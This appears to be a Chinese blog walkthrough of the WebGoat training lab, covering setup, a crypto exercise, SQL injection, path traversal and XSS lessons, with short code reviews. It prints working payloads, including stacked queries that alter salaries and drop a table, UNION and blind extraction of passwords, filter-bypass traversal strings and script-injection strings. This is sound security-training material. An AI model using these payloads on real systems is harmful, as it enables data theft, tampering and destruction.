webgoat1[A1-A3]
前言
补补基础
只是单纯打靶场的可以直接使用docker部署,如果目的是代码审计的话,环境搭建参考drun1baby师傅的blog:
一文解决搭建WebGoat的所有问题 | Drunkbaby’s Blog (drun1baby.top)
使用docker部署
拉取镜像
1 | docker search webgoat |
运行容器
1 | docker run -d -p 8888:8888 -p 8081:8080 -p 9090:9090 webgoat/goatandwolf:v8.1.0 |
测试是否成功,访问靶场http://ip:8888
成功。其中webgoat:v8.1.0所对应的java版本为jdk11.0.1
笔者选择的是源码部署,webgoat使用mvn进行构建,因此只需要配置好mvn配置,就可以自动的对所需的依赖进行安装了。
环境:
1 | windows11 |
改maven的settings.xml,改源为阿里云的。
1 | <mirror> |
改webgoat项目的pom.xml文件
刷新maven开始安装。安装完毕后发现还有依赖没法安装,比如“dependency-check-maven”,注释掉即可。
最后双击shift,查找startwebgoat,运行即可启动项目。
参考:0-webgoat源码部署和调试 - 知乎 (zhihu.com)
General
都是一些基础的东西,就不在赘述了。
Crypto Basics lesson 6
题目给了一个rsa的私钥,要求我们算出
- rsa密钥的模数
- 使用该密钥计算签名
使用openssl工具,使用私钥算公钥
1 | openssl rsa -in test.key -pubout > test.pub |
然后使用公钥算公钥的modulus
1 | openssl rsa -in test.pub -pubin -modulus -noout |
最后使用公钥的modulus获取私钥的签名
1 | echo -n "<s上方获取的modulus>" | openssl dgst -sign test.key -s |
然后将sign.sha256文件进行base64编码
1 | openssl enc -base64 -in sign.sha256 -out sign.sha256.base64 |
(A3)Injection
SQL Injection (intro)
lesson2 select
直接查询即可
1 | select department from Employees where first_name = 'Bob' and last_name = 'Franco' ; |
代码审计
- 创建了一个
Statement
对象,并指定了TYPE_SCROLL_INSENSITIVE
(对底层数据变换不敏感 )和CONCUR_READ_ONLY
(只读)作为查询的类型和并发控制。 - statement.executeQuery(query),直接执行传入的query。没有任何过滤。
lesson3 update
DML commands are used for storing, retrieving, modifying, and deleting data.
DML 命令用于存储、检索、修改和删除数据。
1 | SELECT |
题目要求:尝试将 Tobi Barnett 的部门更改为“销售”
UPDATE语法
1 | UPDATE <tablename> SET <column> = '' WHERE ... |
payload
1 | UPDATE Employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'; |
代码审计
- 和上题类似,没什么好说的
lesson4 alter
DDL commands are used for creating, modifying, and dropping the structure of database objects.
DDL 命令用于创建、修改和删除数据库对象的结构
1 | CREATE |
题目要求:在表 “employees ”中添加列 “phone”(varchar(20))
ALTER语法
1 | ALTER TABLE <tablename> ADD <columnname> <columnType> |
payload
1 | ALTER TABLE employees ADD phone varchar(20); |
代码审计
- 和上题类似,没什么好说的
lesson5 grant
DCL commands are used for providing security to database objects.
DCL 命令用于为数据库对象提供安全保护。
1 | GRANT 授权 |
题目要求:尝试授予用户组 “UnauthorizedUser ”更改表的权限
GRANT语法
1 | GRANT <权限> ON <TABLE_NAME> TO <USER>; |
payload
1 | GRANT ALL ON grant_rights TO unauthorized_user; |
代码审计
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE))
创建了一个Statement
对象,类型为TYPE_SCROLL_INSENSITIVE
,允许滚动ResultSet
,并使用CONCUR_UPDATABLE
,表示可以更新结果集。statement.executeQuery(query);
也是输入直接用与sql执行。checkSolution
函数使用了PreparedStatement
,对TABLE_NAME
和GRANTEE
参数进行绑定
lesson9 万能密码
题目直接告诉我们查询语句,万能密码
payload
1 | Smith’ or ‘1’=’1 |
lesson10 数字型注入
测试后发现
1 | unknown token: in statement [SELECT * From user_data WHERE Login_Count = ? and userid= 111u2018] |
存在数字型注入的地方在User_Id
payload
1 | 1 |
代码审计
1 | String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; |
lesson11 String SQL injection
根据题意,The system requires the employees to use a unique authentication TAN to view their data.则漏洞点更可能在auth_tan处。
1 | "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"; |
简化一下:
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = 'xxx'; |
构造payload
1 | SELECT * FROM employees WHERE last_name = '123' AND auth_tan = '123' or '1' = '1'; |
即为:
1 | 123 |
代码审计
lesson12 SQL query chaining
其实就是堆叠注入。
和上题一样,简化后的:
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = 'xxx'; |
构造payload
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = '1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith'; |
即:
1 | 1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith |
这里刚好最后是个分号,也可以写成这样,把sql语句后面部分注释掉。
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = '1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith--+'; |
代码审计
与上题一致
lesson13 Compromising Availability
破坏可用性,删库呗
poyload
1 | 1';drop table access_log; --+ |
至此,该部分通关
SQL Injection (advanced)
特殊符号
注释符
1 | /* */ are inline comments |
堆叠注入
1 | ; 执行多条语句 |
连接符
1 | ',+,|| allows string concatenation |
联合查询注入
1 | -1' order by 3 --+ |
判断列数的其他方法:通过 UNION SELECT NULL 来判断列数
1 | ' UNION SELECT NULL -- |
- 特别需要注意的:在 Oracle 数据库中,需要改为
1
UNION SELECT NULL FROM DUAL --
Joins
1 | SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid; |
lesson3
两个任务:
- Retrieve all data from the table
- What is Dave’s password?
有很多方法可以解,根据报错得到sql语句
1 | SELECT * FROM user_data WHERE last_name = '1'; |
方法1:堆叠注入
构造payload
1 | SELECT * FROM user_data WHERE last_name = '1';select * from user_system_data--+'; |
即
1 | 1';select * from user_system_data--+ |
方法2:联合查询注入
构造payload,由于不在同一个表中,所以使用order by
探测是没有必要的。而题目恰好给了我们列数,user_system_data 有4列:userid, user_name, password, cookie,需要将其补齐到7列,和user_data一致。
user_system_data :userid, user_name, password, cookie
user_data:USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
构造payload
1 | SELECT * FROM user_data WHERE last_name = '1'union select userid, user_name,password,null,null,cookie,null from user_system_data--+'; |
即
1 | 1' union select userid, user_name,password,null,null,cookie,null from user_system_data--+ |
代码审计
- 多了个check,是否使用union,还是没有对sql语句做处理。
lesson4 Blind SQL injection
盲注,无回显。但可以通过true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错)来判断。
布尔盲注
判断注入点
1 | 1' and 1=1 // 页面返回有数据 |
判断字段数
1 | 1' order by 2 -- // 页面返回有数据 |
时间盲注
判断是否存在时间盲注
1 | 1' and sleep(5)-- |
lesson 5 login
Goal: Can you log in as Tom?
界面中有 Login 与 Register 两个界面,我们依次寻找注入点
最后发现注入点在Register界面的username处。
原因是我注册的用户为11
,当我的输入为11' or '1' = '1
时,我得到的回显应该为xxx注册成功之类的,但我得到的是User 111' or '1' = '1 already exists please try to register with a different username.
说明存在SQL注入,且语句被解析。
思路:爆表,爆库,爆列最后爆值
爆表,构造payload
1 | SELECT * FROM xxx WHERE xxx = '1' or substring(select schema_name from information_schema.schemata limit 0,1),1,1) = 'a';--+'; |
- 需要改动 substring 的数值,例如,爆出第一位之后,需要改变payload 为 substring(语句,2,1) 用来爆破第二位。
爆表爆列1
1'+or+substring(select+schema_name+from+information_schema.schemata+limit+0,1),1,1)='a';--+
爆数据1
1'+or+substring(select+column_name+from+information_schema.columns+where table_name='<table_name>' limit 0, 1), 1, 1)='a';--+
注意burpsuite设置一下延时1
tom' and substring(password,1,1)='a
代码审计
- 只存在3个参数,checkArguments函数只存在3个参数,username_reg, email_reg, password_reg
- sql查询语句查的是 username_reg,
- 判断条件为if (username_reg.contains(“tom’”))
SQL Injection (mitigation)
SQL注入的基本防御手段
Immutable Queries不可变查询
Static Queries静态查询
1 | String query = "SELECT * FROM products"; |
Parameterized Queries参数化查询
1 | String query = "SELECT * FROM users WHERE last_name = ?"; |
Stored Procedures存储过程
Only if stored procedure does not generate dynamic SQL仅在存储过程不生成动态 SQL 的情况下使用。
lesson5 Writing safe code
lesson9 Input validation alone is not enough!
1 | 1';select/**/*/**/from/**/user_system_data--/**/ss |
lesson10
1 | 1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+ |
Path traversal
lesson2 uploading files
目录穿越
代码审计
- 注意uploadedFile和fullName,其中
@RequestParam("uploadedFile") MultipartFile file
。MultipartFile是 Spring 框架提供的一个接口,用于表示处理文件上传的对象。此处是将其作为MultipartFile
对象传递给控制器方法中的file
参数。 fullName
是文件名return super.execute(file, fullName);
调用了父类的execute()方法,我们来看看父类是怎么写的
- 先判断是否传入文件
- 然后调用
cleanupAndCreateDirectoryForUser()
,该方法规定了目录 /PathTraversal/UserName - 然后直接createNewFfile()
1
2var uploadedFile = new File(uploadDirectory, fullName);
uploadedFile.createNewFile();
lesson3 uploading files fix
双写绕过
1 | fullname = ....// |
代码审计
- 依旧是继承
ProfileUploadBase
类,waf加在了对fullname
的处理上,将../
替换为""
。
双写绕过即可。
lesson4 uploadedFileRemoveUserInput
漏洞点在filename中
代码审计
lesson5 ProfileUploadRetrieval
Path traversals are not limited to file uploads; when retrieving files, it can be the case that a path traversal is possible to retrieve other files from the system. In this assignment, try to find a file called
path-traversal-secret.jpg
路径遍历并不局限于文件上传;在检索文件时,路径遍历也可以检索系统中的其他文件。在本作业中,请尝试查找名为 path-traversal-secret.jpg 的文件。
没思路,审代码
- 过滤掉了
..
和/
- 需要以get的形式传入一个名为id的参数
- 拼接
.jpg
url编码一下即可绕过
1 | ../ -> %2e%2e%2f |
最终payload
1 | %2e%2e%2f%2e%2e%2fpath-traversal-secret |
lesson7 ProfileZipSlip
代码审计
- 一定要传zip文件
然后调用processZipUpload()
创建一个临时目录,再调用cleanupAndCreateDirectoryForUser()
,然后是对文件的复制和解压缩
- 上传的 zip 文件被保存到临时目录。
- 然后通过
ZipFile
类来读取 zip 文件并提取其中的内容。 - 对每一个 zip 条目,创建相应的文件并将条目的内容写入到该文件。
也就是说解析了文件夹下的文件内容
答案在lesson 8
Cross Site Scripting
lesson 2 What is XSS?
- The cookies should be the same on each tab.
lesson 7
在field1处,payload
1 | <script>alert('111')</script> |
代码审计
只有field1是直接拼接上去的
lesson 10 Identify potential for DOM-Based XSS
题目中说:So, what is the route for the test code that stayed in the app during production? To answer this question, you have to check the JavaScript source.
所以直接进入代码审计步骤。
DOM 型 XSS 全部都是由前端进行触发的,所以这里审的是前端代码即可。
F12全局搜索和test或者route有关的js路由,发现GoatRouter.js
找到testRoute方法
按照mvc的规范找testHandler方法
然后找showTestParam
方法
这里没做任何处理,直接拼接,存在xss漏洞
题目提示:
Your objective is to find the route and exploit it. First though, what is the base route? As an example, look at the URL for this lesson …it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The ‘base route’ in this case is: start.mvc#lesson/ The CrossSiteScripting.lesson/9 after that are parameters that are processed by the JavaScript route handler.您的目标是找到路由并加以利用。首先,基本路由是什么?举个例子,看看本课的 URL……它应该是 /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9。这里的 “基本路由 ”是:start.mvc#lesson/ 后面的 CrossSiteScripting.lesson/9 是 JavaScript 路由处理程序要处理的参数。
那么可以得出,本题答案为:
1 | start.mvc#test |
攻击的payload可以写成
1 | /start.mvc#test/<script>alert("111")</script> |
代码审计后端